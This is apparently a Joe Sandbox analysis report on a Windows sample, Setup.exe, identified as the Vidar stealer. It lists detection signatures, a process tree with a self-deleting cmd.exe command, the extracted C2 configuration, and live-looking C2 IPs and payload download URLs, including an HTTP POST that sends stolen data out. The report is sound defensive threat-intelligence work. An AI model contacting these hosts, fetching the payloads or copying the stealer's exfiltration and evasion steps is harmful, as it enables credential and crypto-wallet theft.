Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample Name:	Setup.exe
Analysis ID:	791756
MD5:	494e03d339c4b84f71f0c122de940860
SHA1:	85152244f96b8a76ece7a26ba1db4eded3715b80
SHA256:	6511d09ada2bc11a95c06bd20abb66f450b9b2a6ed1f00c723401884ce7a2e61
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Tries to detect virtualization through RDTSC time measurements

Found many strings related to Crypto-Wallets (likely being stolen)

Contains functionality to compare user and computer (likely to detect sandboxes)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Binary contains a suspicious time stamp

PE file contains more sections than normal

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

Extensive use of GetProcAddress (often used to hide API calls)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

Setup.exe (PID: 6128 cmdline: C:\Users\user\Desktop\Setup.exe MD5: 494E03D339C4B84F71F0C122DE940860)

conhost.exe (PID: 500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AppLaunch.exe (PID: 5124 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

92398908710653760371.exe (PID: 6068 cmdline: "C:\ProgramData\92398908710653760371.exe" MD5: 32C739F079BF72DE402D64B67780D115)

cmd.exe (PID: 624 cmdline: C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\92398908710653760371.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

choice.exe (PID: 3508 cmdline: choice /C Y /N /D Y /T 0 MD5: EA29BC6BCB1EFCE9C9946C3602F3E754)

68398609819664439000.exe (PID: 6124 cmdline: "C:\ProgramData\68398609819664439000.exe" MD5: FC919F65105FCFE816F9A62D0F1D6921)

cmd.exe (PID: 3244 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 3432 cmdline: timeout /t 6 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

cleanup

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://t.me/litlebey", "https://steamcommunity.com/profiles/76561199472399815"], "Botnet": "408", "Version": "2.2"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Setup.exe PID: 6128	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 5124	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 5124	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 5124	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xa6aac:$a1: BinanceChainWallet 0xa7470:$a2: wallet.dat 0xa747d:$a2: wallet.dat 0xa1acb:$a3: SOFTWARE\monero-project\monero-core 0xf3d7:$b1: CC\%s_%s.txt 0xf416:$b2: History\%s_%s.txt 0xfef1:$b2: History\%s_%s.txt 0xf402:$b3: Autofill\%s_%s.txt 0xfedd:$b3: Autofill\%s_%s.txt
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.AppLaunch.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.Setup.exe.2c3140.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.Setup.exe.2c3140.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.Setup.exe.2580000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.Setup.exe.2580000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.Setup.exe.2c0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Click to see the 1 entries

Snort Signatures

ETPRO TROJAN Arkei/Vidar/Mars Stealer Variant CnC Response - Source IP: 95.217.16.127 - Destination IP: 192.168.2.6

Timestamp:	95.217.16.127192.168.2.680497152853039 01/25/23-21:04:28.152846
SID:	2853039
Source Port:	80
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://dl.uploadgram.me/63bb049fe3c89h?raw	Avira URL Cloud: Label: malware
Source: http://95.217.16.127/408	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\68398609819664439000.exe	Avira: detection malicious, Label: HEUR/AGEN.1246453
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\635965506[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1216913
Source: C:\ProgramData\92398908710653760371.exe	Avira: detection malicious, Label: HEUR/AGEN.1216913
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1246453

Multi AV Scanner detection for submitted file

Source: Setup.exe

Virustotal: Detection: 34%

Perma Link

Multi AV Scanner detection for domain / URL

Source: dl.uploadgram.me	Virustotal: Detection: 6%			Perma Link
Source: https://dl.uploadgram.me/	Virustotal: Detection: 7%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\68398609819664439000.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe	ReversingLabs: Detection: 92%

Machine Learning detection for sample

Source: Setup.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\ProgramData\68398609819664439000.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Starter[1].exe	Joe Sandbox ML: detected

Source: 0.2.Setup.exe.2c3140.1.unpack

Avira: Label: TR/Patched.Ren.Gen

Source: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://t.me/litlebey", "https://steamcommunity.com/profiles/76561199472399815"], "Botnet": "408", "Version": "2.2"}

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0040F9E0 _memset,lstrcatA,lstrcatA,lstrcatA,OpenEventA,CloseHandle,Sleep,OpenEventA,CreateEventA,_memset,lstrcatA,lstrcatA,StrCmpCA,_strlen,StrCmpCA,StrCmpCA,_strlen,StrCmpCA,_strlen,StrCmpCA,Sleep,_memset,lstrcatA,lstrcatA,lstrcatA,CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,_memset,CryptBinaryToStringA,CreateThread,CreateThread,Sleep,Sleep,_strlen,_strlen,_strlen,_strlen,_strlen,CreateThread,Sleep,_memset,_memset,	2_2_0040F9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00414990 CryptUnprotectData,LocalAlloc,_memmove,LocalFree,	2_2_00414990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00414930 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00414930

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.222.250.82:443 -> 192.168.2.6:49716 version: TLS 1.2

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\Users\admin\source\repos\Task16MinerStarter\Task16MinerStarter\obj\Release\Task16MinerStarter.pdb source: 68398609819664439000.exe, 00000008.00000000.297553862.0000000000E72000.00000002.00000001.01000000.00000007.sdmp, 68398609819664439000.exe.2.dr
Source:	Binary string: C:\Users\admin\source\repos\Task16MinerStarter\Task16MinerStarter\obj\Release\Task16MinerStarter.pdb}] source: 68398609819664439000.exe, 00000008.00000000.297553862.0000000000E72000.00000002.00000001.01000000.00000007.sdmp, 68398609819664439000.exe.2.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 2_2_0040C3A0 _memset,_memset,_memset,lstrcatA,lstrcatA,lstrcatA,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,GetUserNameA,_strlen,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,_memset,SHGetFolderPathA,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,GetLogicalDriveStringsA,GetDriveTypeA,lstrcpy,StrStrA,lstrcpyn,lstrcpy,StrStrA,lstrcpyn,_strlen,wsprintfA,lstrcpy,lstrlenA,

2_2_0040C3A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00420890 FindFirstFileW,_wcslen,FindNextFileW,_wcslen,FindNextFileW,	2_2_00420890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00418910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,_memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,_memset,lstrcatA,_malloc,GetTickCount,_rand,wsprintfA,lstrcatA,FindNextFileA,FindClose,	2_2_00418910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00411A90 _memset,SHGetFolderPathA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,_memset,SHGetFolderPathA,wsprintfA,_memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00411A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0040BC60 wsprintfA,FindFirstFileA,_memset,lstrcatA,StrCmpCA,StrCmpCA,lstrcpy,lstrcatA,lstrcatA,_strlen,_memset,_memset,StrCmpCA,wsprintfA,wsprintfA,lstrlenA,PathMatchSpecA,CoInitialize,PathMatchSpecA,lstrcpy,lstrcatA,PathFindFileNameA,lstrcatA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,PathMatchSpecA,lstrcpy,lstrcatA,lstrcatA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,PathMatchSpecA,CoInitialize,PathMatchSpecA,lstrcpy,lstrcatA,PathFindFileNameA,lstrcatA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,PathMatchSpecA,lstrcpy,lstrcatA,lstrcatA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,	2_2_0040BC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00411740 _memset,_memset,SHGetFolderPathA,lstrcatA,wsprintfA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,GetFileAttributesA,_memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00411740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00416F40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,_memset,wsprintfA,_memset,wsprintfA,StrCmpCA,StrCmpCA,GetFileAttributesA,StrCmpCA,StrCmpCA,_memset,_memset,FindNextFileA,FindClose,	2_2_00416F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_0040F710 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,_memset,_memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_0040F710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00419F90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,_memset,lstrcatA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,GetFileAttributesA,GetFileAttributesA,GetFileAttributesA,_memset,_memset,_memset,_memset,_memset,_memset,FindNextFileA,FindClose,_memset,lstrcatA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,GetFileAttributesA,GetFileAttributesA,GetFileAttributesA,_memset,_memset,_memset,_memset,_memset,_memset,	2_2_00419F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 2_2_00417370 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00417370

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2853039 ETPRO TROJAN Arkei/Vidar/Mars Stealer Variant CnC Response 95.217.16.127:80 -> 192.168.2.6:49715

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://t.me/litlebey
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199472399815

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /63d00bc6c95a0g?raw HTTP/1.1Host: dl.uploadgram.meCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /63bb049fe3c89h?raw HTTP/1.1Host: dl.uploadgram.meCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /408 HTTP/1.1Host: 95.217.16.127
Source: global traffic	HTTP traffic detected: GET /get.zip HTTP/1.1Host: 95.217.16.127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----0807260995325012Host: 95.217.16.127Content-Length: 140503Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

HTTP traffic detected: GET /litlebey HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	IP Address: 92.222.250.82 92.222.250.82
Source: Joe Sandbox View	IP Address: 95.217.16.127 95.217.16.127

Source: Setup.exe, 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, AppLaunch.exe, AppLaunch.exe, 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://157.90.148.112:80
Source: 92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	String found in binary or memory: http://79.137.202.127/new.phpinteger
Source: AppLaunch.exe, 00000002.00000003.268566166.00000000050EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.217.16.12
Source: AppLaunch.exe, 00000002.00000002.299690333.00000000050E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.217.16.127/
Source: AppLaunch.exe, 00000002.00000002.299690333.0000000005125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.217.16.127/408
Source: AppLaunch.exe, 00000002.00000002.299690333.0000000005125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.217.16.127/get.zip
Source: AppLaunch.exe, 00000002.00000003.268531411.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.217.16.127:80
Source: AppLaunch.exe, 00000002.00000002.299427028.0000000004CFD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://95.217.16.127:80/get.zip
Source: AppLaunch.exe, 00000002.00000003.268531411.00000000050F9000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000002.00000002.299690333.000000000510A000.00000004.00000020.00020000.00000000.sdmp, 92398908710653760371.exe, 00000004.00000002.316021486.0000019E332AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: 68398609819664439000.exe, 00000008.00000003.309237475.00000000060CE000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 68398609819664439000.exe, 00000008.00000003.310833189.00000000060C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comeac)Y
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 68398609819664439000.exe, 00000008.00000003.310833189.00000000060C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comyle
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 68398609819664439000.exe, 00000008.00000003.305061822.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305083261.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305201772.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305022497.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 68398609819664439000.exe, 00000008.00000003.305000378.00000000060DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.coma)d
Source: 68398609819664439000.exe, 00000008.00000003.305000378.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305022497.00000000060DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comic
Source: 68398609819664439000.exe, 00000008.00000003.305061822.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305083261.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305022497.00000000060DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comri
Source: 68398609819664439000.exe, 00000008.00000003.308304563.00000000060FD000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.308248025.00000000060FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 68398609819664439000.exe, 00000008.00000003.308304563.00000000060FD000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.308248025.00000000060FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cna-d
Source: 68398609819664439000.exe, 00000008.00000003.313438999.00000000060CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 68398609819664439000.exe, 00000008.00000003.313438999.00000000060C2000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.313982058.00000000060C8000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.313438999.00000000060C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 68398609819664439000.exe, 00000008.00000003.313925233.00000000060DA000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.313206128.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.313438999.00000000060D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.monotype.6f:
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 68950836275313342672054142.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 92398908710653760371.exe, 00000004.00000002.311851337.000000C000118000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&passive=1209600&continue=https%3A%2F%2Fwww.
Source: 68950836275313342672054142.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 92398908710653760371.exe, 00000004.00000002.313523866.000000C0003E0000.00000004.00001000.00020000.00000000.sdmp, 92398908710653760371.exe, 00000004.00000002.315587796.000000C000506000.00000004.00001000.00020000.00000000.sdmp, 92398908710653760371.exe, 00000004.00000002.315587796.000000C00051C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/youtube_main
Source: AppLaunch.exe, 00000002.00000002.299690333.00000000050E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.uploadgram.me/
Source: AppLaunch.exe, 00000002.00000002.299690333.00000000050E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.uploadgram.me/.u-%
